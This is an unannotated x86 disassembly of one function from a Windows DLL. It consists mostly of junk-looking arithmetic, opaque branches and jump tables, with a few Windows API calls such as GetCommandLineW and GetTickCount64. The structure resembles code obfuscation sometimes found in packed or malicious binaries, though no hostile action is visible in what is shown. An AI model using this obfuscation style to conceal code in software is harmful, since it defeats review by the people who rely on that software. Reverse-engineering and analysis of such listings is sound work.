sbb ecx, 0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ecx
jmp 0x1002ec40
movzx ecx, word [0x100a211c]
test ecx, ecx
je 0x1002ee81
mov eax, dword [ebp - 0x4c]
and eax, 0xad
cdq
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], edx
mov edx, dword [ebp - 0x60]
add edx, 0xe7
mov eax, dword [ebp - 0x5c]
adc eax, 0
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov eax, dword [0x100a2144]
push eax
mov eax, dword [0x100a2140]
push eax
push edx
push ecx
call fcn.10073ef0
mov ecx, eax
movzx eax, byte [0x100a207a]
movzx edx, word [ebp - 0x10]
add eax, edx
cdq
add ecx, eax
mov word [ebp - 0x10], cx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov dword [0x100a2148], eax
mov dword [0x100a214c], ecx
movsx eax, word [0x100a20f0]
cdq
mov ecx, dword [0x100a2130]
mov esi, dword [0x100a2134]
sub ecx, eax
sbb esi, edx
mov edx, dword [0x100a2130]
mov eax, dword [0x100a2134]
add edx, ecx
adc eax, esi
mov dword [0x100a2130], edx
mov dword [0x100a2134], eax
mov ecx, dword [0x100a2c3c]
mov dword [ebp - 0x178], ecx
mov edx, dword [ebp - 0x50]
mov eax, dword [0x100a2140]
sub eax, dword [ebp - 0x54]
mov ecx, dword [0x100a2144]
sbb ecx, edx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], ecx
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
push 0
push 0xc7b79ac4
push eax
push edx
call fcn.10073ef0
push edx
push eax
mov ecx, dword [0x100a20fc]
push ecx
mov edx, dword [0x100a20f8]
push edx
call fcn.10073ef0
mov dword [0x100a20f8], eax
mov dword [0x100a20fc], edx
movzx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x58]
imul ecx, eax
mov edx, dword [ebp - 0x58]
sub edx, ecx
mov dword [ebp - 0x58], edx
movsx eax, word [0x100a2110]
and eax, 0xc7c9ed87
mov word [0x100a20f0], ax
mov ecx, dword [ebp - 0x178]
add ecx, 0x4f3
mov dword [ebp - 0xcf4], ecx
cmp dword [ebp - 0x64], 0
jne 0x1002ef27
mov dword [ebp - 0x248], 1
jmp 0x1002ef31
mov dword [ebp - 0x248], 0
mov edx, dword [ebp - 0x40]
not edx
sub edx, dword [0x100a2104]
movsx eax, word [0x100a2110]
xor eax, dword [ebp - 0x248]
sub edx, eax
mov word [0x100a2110], dx
movsx eax, word [0x100a2110]
cdq
mov ecx, dword [ebp - 0x48]
sub ecx, eax
mov eax, dword [ebp - 0x44]
sbb eax, edx
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], eax
movsx ecx, word [0x100a2110]
sub ecx, 0x35b8f000
mov byte [str.HeapSize], cl
mov edx, 1
imul eax, edx, 7
movzx ecx, byte [eax + 0x102b76dc]
or ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x64]
not edx
or edx, dword [0x100a2114]
mov esi, edx
xor edi, edi
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
push 0x94f63
push 0xfa08a6ba
push ecx
push eax
call fcn.10073ef0
not eax
not edx
sub esi, eax
sbb edi, edx
movzx eax, byte [0x100a207b]
cdq
mov ecx, dword [0x100a2150]
mov ebx, dword [0x100a2154]
not ecx
not ebx
add eax, ecx
adc edx, ebx
push edx
push eax
mov edx, dword [0x100a20fc]
push edx
mov eax, dword [0x100a20f8]
push eax
call fcn.10073ef0
not eax
not edx
add esi, eax
adc edi, edx
mov dword [ebp - 0x844], esi
mov dword [ebp - 0x840], edi
mov ecx, dword [ebp - 0x844]
or ecx, dword [ebp - 0x840]
jne 0x1002f018
mov byte [ebp - 0x6c], 1
jmp 0x1002f01c
mov byte [ebp - 0x6c], 0
mov dl, byte [ebp - 0x6c]
mov byte [ebp - 3], dl
mov eax, dword [ebp - 0x73c]
add eax, dword [ebp - 0x178]
mov dword [ebp - 0xcf8], eax
movzx ecx, byte [ebp - 1]
movsx edx, word [ebp - 0xc]
imul ecx, edx
movzx eax, byte [ebp - 1]
add eax, ecx
mov byte [ebp - 1], al
movzx ecx, word [ebp - 8]
movzx edx, word [0x100a2124]
imul ecx, edx
movzx eax, word [ebp - 8]
add eax, ecx
mov word [ebp - 8], ax
mov ecx, 1
imul edx, ecx, 0x3eab
movsx eax, byte [edx + 0x102c8600]
and eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
cmp dword [0x100a2104], 0
je 0x1002f095
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x4b8], edx
jmp 0x1002f0a6
movsx eax, word [ebp - 0xc]
cdq
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4b8], edx
mov eax, dword [ebp - 0x4bc]
mov ecx, dword [ebp - 0x4b8]
mov dword [0x100a2108], eax
mov dword [0x100a210c], ecx
cmp dword [0x100a2128], 0
jne 0x1002f0d2
mov dword [ebp - 0x24c], 1
jmp 0x1002f0dc
mov dword [ebp - 0x24c], 0
mov edx, dword [ebp - 0x58]
not edx
imul edx, dword [ebp - 0x64]
test edx, edx
jne 0x1002f0f5
mov dword [ebp - 0x250], 1
jmp 0x1002f0ff
mov dword [ebp - 0x250], 0
mov eax, dword [ebp - 0x24c]
sub eax, dword [ebp - 0x250]
cdq
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x178]
add eax, 0x525
mov dword [ebp - 0x284], eax
mov ecx, 0xbca
mov word [0x100a2138], cx
movzx edx, word [ebp - 8]
cmp edx, dword [0x100a20dc]
jb 0x1002f147
mov dword [ebp - 0x254], 1
jmp 0x1002f151
mov dword [ebp - 0x254], 0
movzx eax, word [ebp - 8]
cmp eax, 0x1f
jl 0x1002f166
mov dword [ebp - 0x258], 1
jmp 0x1002f170
mov dword [ebp - 0x258], 0
mov ecx, dword [ebp - 0x254]
cmp ecx, dword [ebp - 0x258]
jne 0x1002f72b
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor edx, edx
mov dword [0x100a2148], eax
mov dword [0x100a214c], edx
mov eax, dword [0x100a2148]
mov ecx, dword [0x100a214c]
mov dword [ebp - 0x84c], eax
mov dword [ebp - 0x848], ecx
mov edx, dword [ebp - 0x84c]
or edx, dword [ebp - 0x848]
je 0x1002f63d
mov byte [0x100a207b], 4
movzx eax, word [0x100a2138]
cdq
push 0x614c5
push 0x580ff1d1
push edx
push eax
call fcn.10073ef0
mov byte [0x100a203b], al
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x854], eax
mov dword [ebp - 0x850], ecx
mov edx, dword [ebp - 0x854]
or edx, dword [ebp - 0x850]
jne 0x1002f20f
mov dword [ebp - 0x25c], 1
jmp 0x1002f219
mov dword [ebp - 0x25c], 0
movzx eax, word [0x100a2118]
or eax, dword [ebp - 0x38]
movzx ecx, word [0x100a2118]
not ecx
movsx edx, word [0x100a2110]
and ecx, edx
sub eax, ecx
not eax
imul eax, dword [ebp - 0x25c]
cdq
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
cmp dword [ebp - 0x40], 0
jne 0x1002f266
xor eax, eax
mov dword [ebp - 0x510], 1
mov dword [ebp - 0x50c], eax
jmp 0x1002f271
xorps xmm0, xmm0
movlpd qword [ebp - 0x510], xmm0
mov ecx, dword [ebp - 0x510]
add ecx, 0xd4e1355a
mov edx, dword [ebp - 0x50c]
adc edx, 0x866ae
mov dword [ebp - 0x85c], ecx
mov dword [ebp - 0x858], edx
mov eax, dword [ebp - 0x85c]
or eax, dword [ebp - 0x858]
jne 0x1002f2b7
xor ecx, ecx
mov dword [ebp - 0x864], 1
mov dword [ebp - 0x860], ecx
jmp 0x1002f2c2
xorps xmm0, xmm0
movlpd qword [ebp - 0x864], xmm0
movzx eax, word [0x100a2124]
cdq
add eax, dword [0x100a20d0]
add eax, dword [ebp - 0x864]
mov dword [ebp - 0x58], eax
movzx edx, byte [0x100a207b]
mov dword [ebp - 0x260], edx
cmp dword [ebp - 0x260], 4
ja case.default.0x1002f2f9
mov eax, dword [ebp - 0x260]
jmp dword [eax*4 + 0x10037ad8]
mov ecx, dword [0x100a20d8]
sub ecx, 0xef
or ecx, dword [0x100a20d8]
mov dword [0x100a20d8], ecx
mov byte [0x100a207a], 0x68
movzx edx, word [0x100a211c]
imul eax, edx, 0x8729
mov dword [ebp - 0x18], eax
jmp case.default.0x1002f2f9
movsx eax, word [0x100a2110]
shl eax, 4
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
mov ecx, dword [ebp - 0x40]
sub ecx, 0x30f8a63b
mov word [0x100a2138], cx
xor edx, edx
sub edx, dword [0x100a20d0]
mov eax, 0
sbb eax, dword [0x100a20d4]
mov ecx, dword [ebp - 0x44]
push ecx
mov ecx, dword [ebp - 0x48]
push ecx
push eax
push edx
call fcn.10073ef0
mov dword [ebp - 0x86c], eax
mov dword [ebp - 0x868], edx
mov edx, dword [ebp - 0x86c]
or edx, dword [ebp - 0x868]
jne 0x1002f39f
mov eax, 1
mov word [ebp - 0x9c], ax
jmp 0x1002f3a8
xor ecx, ecx
mov word [ebp - 0x9c], cx
mov dx, word [ebp - 0x9c]
mov word [0x100a2138], dx
movsx eax, word [0x100a20f0]
mov ecx, dword [0x100a20f4]
sub ecx, eax
mov dword [0x100a20f4], ecx
movzx edx, word [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
sub eax, edx
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x38], 0
jne 0x1002f3ee
mov dword [ebp - 0x264], 1
jmp 0x1002f3f8
mov dword [ebp - 0x264], 0
mov edx, dword [0x100a20f4]
imul edx, dword [0x100a20dc]
movsx eax, word [0x100a20c8]
add eax, dword [ebp - 0x264]
sub edx, eax
jne 0x1002f42a
xor ecx, ecx
mov dword [ebp - 0x518], 1
mov dword [ebp - 0x514], ecx
jmp 0x1002f435
xorps xmm0, xmm0
movlpd qword [ebp - 0x518], xmm0
mov edx, dword [ebp - 0x518]
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], eax
jmp case.default.0x1002f2f9
mov ecx, dword [ebp - 0x40]
xor ecx, dword [ebp - 0x18]
mov dword [ebp - 0x40], ecx
mov byte [0x100a207a], 0x27
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
add edx, 1
adc eax, 0
mov dword [0x100a20e8], edx
mov dword [0x100a20ec], eax
movzx eax, word [ebp - 8]
cdq
mov ecx, dword [0x100a2130]
mov esi, dword [0x100a2134]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [0x100a2130], eax
mov dword [0x100a2134], edx
mov edx, dword [0x100a2140]
or edx, dword [0x100a2144]
je 0x1002f4b6
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x268], eax
jmp 0x1002f4bf
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x268], ecx
mov dx, word [ebp - 0x268]
mov word [0x100a2124], dx
jmp case.default.0x1002f2f9
movsx eax, word [ebp - 0xc]
imul eax, dword [0x100a2100]
mov ecx, dword [0x100a2100]
sub ecx, eax
mov dword [0x100a2100], ecx
mov edx, dword [0x100a20e4]
add edx, 0x9d
mov dword [ebp - 0x28], edx
mov ax, word [0x100a2c3c]
mov word [ebp - 0xc], ax
jmp case.default.0x1002f2f9
movsx eax, word [0x100a20f0]
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [0x100a2104]
cdq
mov edi, dword [ebp - 0x20]
add eax, dword [ebp - 0x24]
adc edx, edi
add ecx, eax
adc esi, edx
mov edx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x24]
sbb esi, edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], esi
mov eax, 8
imul ecx, eax, 0x8339
mov edx, dword [ecx + 0x10246be8]
mov dword [0x100a2128], edx
mov eax, 2
imul ecx, eax, 0x4d69
movzx eax, word [ecx + 0x102b7710]
cdq
mov ecx, dword [ebp - 0x34]
sub ecx, eax
mov eax, dword [ebp - 0x30]
sbb eax, edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], eax
movzx ecx, byte [ebp - 2]
test ecx, ecx
jne 0x1002f583
mov dword [ebp - 0x26c], 1
jmp 0x1002f58d
mov dword [ebp - 0x26c], 0
movzx eax, word [ebp - 0x14]
cdq
xor eax, dword [ebp - 0x24]
xor edx, dword [ebp - 0x20]
mov dword [ebp - 0x874], eax
mov dword [ebp - 0x870], edx
mov edx, dword [ebp - 0x874]
or edx, dword [ebp - 0x870]
jne 0x1002f5be
mov dword [ebp - 0x270], 1
jmp 0x1002f5c8
mov dword [ebp - 0x270], 0
mov eax, dword [ebp - 0x26c]
sub eax, dword [ebp - 0x270]
jne 0x1002f5e2
mov dword [ebp - 0x278], 1
jmp 0x1002f5ec
mov dword [ebp - 0x278], 0
cmp dword [0x100a20f4], 0
jne 0x1002f601
mov dword [ebp - 0x274], 1
jmp 0x1002f60b
mov dword [ebp - 0x274], 0
movzx ecx, word [0x100a2138]
not ecx
add ecx, dword [ebp - 0x274]
movsx edx, word [ebp - 0xc]
xor ecx, edx
add ecx, dword [ebp - 0x278]
jne 0x1002f62e
mov byte [ebp - 0x67], 1
jmp 0x1002f632
mov byte [ebp - 0x67], 0
mov al, byte [ebp - 0x67]
mov byte [ebp - 3], al
jmp 0x1002f726
movsx eax, byte [0x100a203b]
cdq
mov ecx, dword [0x100a20d0]
sub ecx, eax
mov eax, dword [0x100a20d4]
sbb eax, edx
add ecx, dword [0x100a20d0]
adc eax, dword [0x100a20d4]
mov dword [0x100a20d0], ecx
mov dword [0x100a20d4], eax
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
sub ecx, dword [0x100a2140]
sbb edx, dword [0x100a2144]
mov eax, dword [0x100a2108]
mov esi, dword [0x100a210c]
xor eax, ecx
xor esi, edx
mov dword [0x100a2108], eax
mov dword [0x100a210c], esi
mov ecx, dword [0x100a2130]
mov edx, dword [0x100a2134]
mov dword [ebp - 0x87c], ecx
mov dword [ebp - 0x878], edx
mov eax, dword [ebp - 0x87c]
or eax, dword [ebp - 0x878]
je 0x1002f6d6
movzx eax, word [ebp - 8]
cdq
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], edx
jmp 0x1002f6ee
mov ecx, dword [0x100a20d0]
mov edx, dword [0x100a20d4]
mov dword [ebp - 0x520], ecx
mov dword [ebp - 0x51c], edx
mov ax, word [ebp - 0x520]
mov word [ebp - 8], ax
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x18]
add edx, 0x2f3ff5ed
xor eax, eax
mov ecx, dword [0x100a2150]
mov esi, dword [0x100a2154]
xor ecx, edx
xor esi, eax
mov dword [0x100a2150], ecx
mov dword [0x100a2154], esi
jmp 0x1002f818
movzx edx, word [ebp - 0x14]
movzx eax, byte [0x100a207b]
cmp edx, eax
je 0x1002f74e
xor ecx, ecx
mov dword [ebp - 0x528], 1
mov dword [ebp - 0x524], ecx
jmp 0x1002f759
xorps xmm0, xmm0
movlpd qword [ebp - 0x528], xmm0
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x884], edx
mov dword [ebp - 0x880], eax
mov ecx, dword [ebp - 0x880]
cmp ecx, dword [ebp - 0x524]
jb 0x1002f818
ja 0x1002f791
mov edx, dword [ebp - 0x884]
cmp edx, dword [ebp - 0x528]
jb 0x1002f818
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 8
shl ecx, 0
mov dword [ecx + 0x1016eb08], eax
mov dword [ecx + 0x1016eb0c], edx
movsx edx, word [0x100a20f0]
movzx eax, word [0x100a2138]
and edx, eax
movsx ecx, word [0x100a20f0]
sub ecx, edx
mov word [0x100a20f0], cx
movzx edx, word [0x100a2124]
add edx, dword [ebp - 0x4c]
movzx eax, word [0x100a2124]
and eax, edx
mov word [0x100a2124], ax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0xcfc], edx
not ecx
add ecx, dword [ebp - 0x60]
mov dword [0x100a20e4], ecx
push 0
push 0xd5
mov eax, dword [0x100a20d4]
push eax
mov ecx, dword [0x100a20d0]
push ecx
call fcn.10073ef0
mov word [0x100a2110], ax
mov ecx, dword [0x100a2108]
mov esi, dword [0x100a210c]
movzx eax, word [0x100a2138]
add eax, dword [ebp - 0x28]
cdq
mov dword [ebp - 0x88c], ecx
mov dword [ebp - 0x888], esi
mov dword [ebp - 0x894], eax
mov dword [ebp - 0x890], edx
mov edx, dword [ebp - 0x88c]
cmp edx, dword [ebp - 0x894]
jne 0x1002fa85
mov eax, dword [ebp - 0x888]
cmp eax, dword [ebp - 0x890]
jne 0x1002fa85
mov ecx, dword [0x100a2120]
push ecx
call dword [sym.imp.USER32.dll_GetLastActivePopup]
mov dword [ebp - 0x38], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov byte [str.y4The_server_is_requ], al
movsx edx, byte [str.y4The_server_is_requ]
test edx, edx
je 0x1002f8e5
mov ax, word [ebp - 0xc]
add ax, 1
mov word [ebp - 0xc], ax
movzx ecx, byte [0x100a207a]
add ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
shr edx, cl
mov dword [ebp - 0x18], edx
movzx eax, word [0x100a211c]
sub eax, 0x69
mov dword [ebp - 0x40], eax
mov ecx, dword [0x100a20f8]
add ecx, 0x2e25d1e3
mov dword [0x100a20f4], ecx
xor edx, edx
mov dword [0x100a20f8], 2
mov dword [0x100a20fc], edx
jmp 0x1002f977
movsx eax, byte [0x100a203b]
imul ecx, eax, 0xeb63
movsx edx, word [0x100a20f0]
and edx, ecx
mov word [0x100a20f0], dx
mov eax, dword [0x100a2c3c]
xor ecx, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
movzx eax, word [0x100a20e0]
movzx edx, word [ebp - 8]
add eax, edx
cdq
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
movzx eax, byte [0x100a207b]
test eax, eax
je 0x1002f94d
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov dword [ebp - 0x530], ecx
mov dword [ebp - 0x52c], edx
jmp 0x1002f95e
movzx eax, byte [ebp - 3]
cdq
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x52c], edx
mov eax, dword [ebp - 0x530]
mov dword [0x100a2114], eax
mov ecx, dword [0x100a2104]
not ecx
mov byte [str.HeapSize], cl
movsx edx, byte [0x100a2027]
mov eax, dword [ebp - 0x28]
add eax, 0xf48
cmp edx, eax
jne 0x1002fa85
mov cx, word [0x100a2124]
mov edx, 2
imul eax, edx, 3
mov word [eax + 0x10222d70], cx
movzx eax, byte [ebp - 2]
cdq
mov ecx, dword [0x100a20f8]
sub ecx, eax
mov eax, dword [0x100a20fc]
sbb eax, edx
mov dword [0x100a20f8], ecx
mov dword [0x100a20fc], eax
mov ecx, 0xfc8e9
mov dword [0x100a20d0], 0xbc0ccc0f
mov dword [0x100a20d4], ecx
movzx edx, word [ebp - 0x14]
imul eax, edx, 0x1f
mov byte [0x100a203b], al
movzx eax, byte [0x100a207b]
cdq
mov ecx, dword [0x100a2130]
mov esi, dword [0x100a2134]
sub ecx, eax
sbb esi, edx
mov edx, dword [0x100a2130]
mov eax, dword [0x100a2134]
and edx, ecx
and eax, esi
mov dword [0x100a2130], edx
mov dword [0x100a2134], eax
jmp 0x1002f123
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
movzx ecx, ax
mov dword [0x100a20e4], ecx
mov edx, dword [ebp - 0x60]
or edx, dword [ebp - 0x5c]
jne 0x1002fab4
mov eax, 0x1d9b30b6
or eax, 0xb235c
je 0x1002fab4
mov dword [ebp - 0x27c], 1
jmp 0x1002fabe
mov dword [ebp - 0x27c], 0
movzx ecx, word [ebp - 8]
not ecx
test ecx, ecx
je 0x1002fadf
movzx edx, word [0x100a2124]
test edx, edx
je 0x1002fadf
mov dword [ebp - 0x280], 1
jmp 0x1002fae9
mov dword [ebp - 0x280], 0
mov eax, dword [ebp - 0x27c]
cmp eax, dword [ebp - 0x280]
jge 0x1002fbbb
mov ecx, dword [0x100a2150]
mov edx, dword [0x100a2154]
mov dword [ebp - 0x89c], ecx
mov dword [ebp - 0x898], edx
mov eax, dword [ebp - 0x89c]
or eax, dword [ebp - 0x898]
je 0x1002fbb9
mov ecx, dword [ebp - 0x38]
imul ecx, dword [ebp - 0x40]
mov dword [ebp - 0x38], ecx
movzx edx, word [0x100a211c]
movzx eax, byte [0x100a207b]
sub edx, eax
mov word [0x100a211c], dx
movzx ecx, byte [ebp - 2]
test ecx, ecx
je 0x1002fb67
mov edx, dword [0x100a2130]
mov eax, dword [0x100a2134]
mov dword [ebp - 0x538], edx
mov dword [ebp - 0x534], eax
jmp 0x1002fb7f
mov ecx, dword [0x100a2140]
mov edx, dword [0x100a2144]
mov dword [ebp - 0x538], ecx
mov dword [ebp - 0x534], edx
mov ax, word [ebp - 0x538]
mov word [0x100a2110], ax
movzx ecx, byte [0x100a207a]
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], ecx
movzx eax, word [ebp - 0x14]
cdq
sub eax, 0x9b533a9
mov edx, dword [ebp - 0x40]
add edx, eax
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
xor eax, 0x2b81
mov word [0x100a2110], ax
jmp 0x1002fbe8
movzx ecx, word [ebp - 0x14]
sub ecx, dword [0x100a2100]
je 0x1002fbe8
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], eax
mov ecx, dword [0x100a2104]
imul ecx, dword [ebp - 0x18]
mov dword [0x100a2104], ecx
mov edx, dword [ebp - 0x284]
cmp dword [ebp - 0x284], edx
jne 0x1003687b
movsx eax, word [0x100a2110]
push eax
call dword [sym.imp.USER32.dll_GetParent]
mov byte [0x100a203b], al
mov dword [ebp - 0x17c], 6
mov ecx, dword [0x100a2104]
imul ecx, dword [ebp - 0x18]
mov edx, dword [0x100a2104]
add edx, ecx
mov dword [0x100a2104], edx
mov ax, word [0x100a2c3c]
mov word [0x100a2110], ax
movzx eax, word [0x100a2138]
cdq
mov ecx, 8
imul ecx, ecx, 0x5ffb
mov dword [ecx + 0x101e2328], eax
mov dword [ecx + 0x101e232c], edx
movzx edx, word [0x100a20e0]
test edx, edx
je 0x1002fc72
mov eax, dword [0x100a20d8]
mov dword [ebp - 0x288], eax
jmp 0x1002fc7b
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x288], ecx
mov edx, dword [ebp - 0x288]
mov dword [ebp - 0x3c], edx
movzx eax, word [ebp - 0x10]
add eax, 0x66480aff
cdq
mov dword [0x100a2108], eax
mov dword [0x100a210c], edx
mov eax, dword [0x100a2120]
cdq
mov ecx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x20]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [ebp - 0x8a4], eax
mov dword [ebp - 0x8a0], edx
mov edx, dword [ebp - 0x8a4]
or edx, dword [ebp - 0x8a0]
jne 0x1002fcd4
mov dword [ebp - 0x28c], 1
jmp 0x1002fcde
mov dword [ebp - 0x28c], 0
movzx eax, word [0x100a2138]
or eax, dword [ebp - 0x28c]
cdq
mov esi, eax
mov eax, dword [0x100a20d8]
xor ecx, ecx
mov edx, dword [ebp - 0x30]
push edx
mov edx, dword [ebp - 0x34]
push edx
push ecx
push eax
call fcn.10073ef0
mov ecx, eax
movsx eax, byte [str.y4The_server_is_requ]
cdq
and ecx, eax
add esi, ecx
mov dword [ebp - 0x4c], esi
mov eax, dword [0x100a2150]
mov edx, dword [0x100a2154]
mov cl, 5
call fcn.10073f50
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], edx
movzx edx, byte [ebp - 1]
add edx, 0x2b
mov eax, dword [0x100a2120]
imul eax, edx
mov dword [0x100a2120], eax
mov ecx, dword [ebp - 0x17c]
add ecx, 1
mov dword [ebp - 0x17c], ecx
cmp dword [ebp - 0x17c], 0x557
jl 0x1002fc84
mov edx, dword [0x100a2c3c]
mov dword [ebp - 0x184], edx
mov byte [ebp - 2], 4
mov eax, dword [0x100a20d8]
xor ecx, ecx
mov edx, 8
imul edx, edx, 0xa495
mov dword [edx + 0x1016eca8], eax
mov dword [edx + 0x1016ecac], ecx
mov byte [ebp - 1], 8
mov eax, dword [ebp - 0x2c]
mov dword [0x100a20dc], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xd00], eax
add ecx, edx
mov edx, dword [ebp - 0x2c]
add edx, ecx
mov dword [ebp - 0x2c], edx
movzx eax, byte [ebp - 2]
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 4
ja case.default.0x1002fdd5
mov ecx, dword [ebp - 0x290]
jmp dword [ecx*4 + 0x10037aec]
movzx edx, word [ebp - 0x10]
add edx, 0xbb2a
mov word [0x100a20c8], dx
movzx eax, byte [ebp - 1]
shl eax, 4
mov byte [0x100a2027], al
mov eax, dword [ebp - 0x38]
cdq
push 0x73dc7
push 0x29b238c7
push edx
push eax
call fcn.10073ef0
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov ecx, dword [ebp - 0x58]
xor ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], ecx
jmp case.default.0x1002fdd5
movzx edx, byte [0x100a207b]
imul eax, edx, 0x3c
mov byte [str.y4The_server_is_requ], al
mov ecx, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov dword [ebp - 0x8ac], ecx
mov dword [ebp - 0x8a8], edx
mov eax, dword [ebp - 0x8ac]
or eax, dword [ebp - 0x8a8]
je 0x1002fe63
movzx ecx, word [ebp - 0x10]
mov dword [ebp - 0x294], ecx
jmp 0x1002fe6c
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x294], edx
mov eax, dword [ebp - 0x294]
xor ecx, ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], ecx
movzx edx, word [0x100a2118]
sub edx, dword [ebp - 0x58]
movzx eax, word [0x100a2118]
add eax, edx
mov word [0x100a2118], ax
mov eax, dword [0x100a2128]
cdq
mov esi, eax
mov edi, edx
mov ecx, dword [0x100a2154]
add esi, dword [0x100a2150]
adc edi, ecx
xor edx, edx
xor esi, dword [ebp - 0x64]
xor edi, edx
mov eax, dword [0x100a2130]
mov ecx, dword [0x100a2134]
push 0
push 0xb8
push ecx
push eax
call fcn.10073ef0
mov ecx, eax
mov ebx, edx
movsx eax, word [0x100a20c8]
cdq
add eax, dword [ebp - 0x60]
adc edx, dword [ebp - 0x5c]
xor ecx, eax
xor ebx, edx
push ebx
push ecx
push edi
push esi
call fcn.10073ef0
mov byte [ebp - 3], al
movzx edx, byte [ebp - 2]
sub edx, dword [ebp - 0x40]
movzx eax, byte [ebp - 2]
sub eax, edx
mov byte [ebp - 2], al
jmp case.default.0x1002fdd5
movzx ecx, byte [0x100a207a]
mov edx, dword [ebp - 0x18]
sub edx, ecx
mov dword [ebp - 0x18], edx
movzx eax, byte [ebp - 1]
shl eax, 1
mov dword [0x100a2114], eax
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
add ecx, 0xb3bdfbbe
adc edx, 0
mov dword [0x100a2108], ecx
mov dword [0x100a210c], edx
jmp case.default.0x1002fdd5
movzx eax, word [ebp - 8]
cdq
mov ecx, dword [0x100a2130]
mov esi, dword [0x100a2134]
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov dx, word [ebp - 8]
mov ecx, eax
shl dx, cl
mov word [ebp - 8], dx
movzx eax, word [ebp - 8]
cdq
mov ecx, eax
sub ecx, 0xca126b19
movsx eax, byte [0x100a203b]
cdq
add eax, ecx
mov byte [0x100a203b], al
mov eax, dword [ebp - 0x28]
cdq
add eax, 0x6f1e346
mov dword [ebp - 0x28], eax
jmp case.default.0x1002fdd5
mov eax, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov cl, 6
call fcn.10074000
mov dword [ebp - 0x38], eax
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
add edx, 1
adc eax, 0
mov dword [0x100a20e8], edx
mov dword [0x100a20ec], eax
mov ecx, dword [0x100a2c3c]
mov dword [ebp - 0x58], ecx
movzx edx, byte [ebp - 3]
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
sub eax, edx
mov dword [ebp - 0x18], eax
movzx eax, word [ebp - 0x14]
add eax, dword [0x100a2120]
cdq
mov ecx, dword [ebp - 0x60]
sub ecx, eax
mov word [ebp - 0x14], cx
mov edx, dword [ebp - 0x184]
add edx, 0x43a
mov dword [ebp - 0x11c], edx
movzx eax, word [ebp - 8]
cdq
mov dword [ebp - 0x8b4], eax
mov dword [ebp - 0x8b0], edx
mov eax, dword [ebp - 0x8b4]
cmp eax, dword [0x100a2140]
jne 0x1003002f
mov ecx, dword [ebp - 0x8b0]
cmp ecx, dword [0x100a2144]
je 0x1003003b
mov dword [ebp - 0x298], 1
jmp 0x10030045
mov dword [ebp - 0x298], 0
movzx edx, word [ebp - 8]
cmp edx, 0x4c
je 0x1003005a
mov dword [ebp - 0x29c], 1
jmp 0x10030064
mov dword [ebp - 0x29c], 0
mov eax, dword [ebp - 0x298]
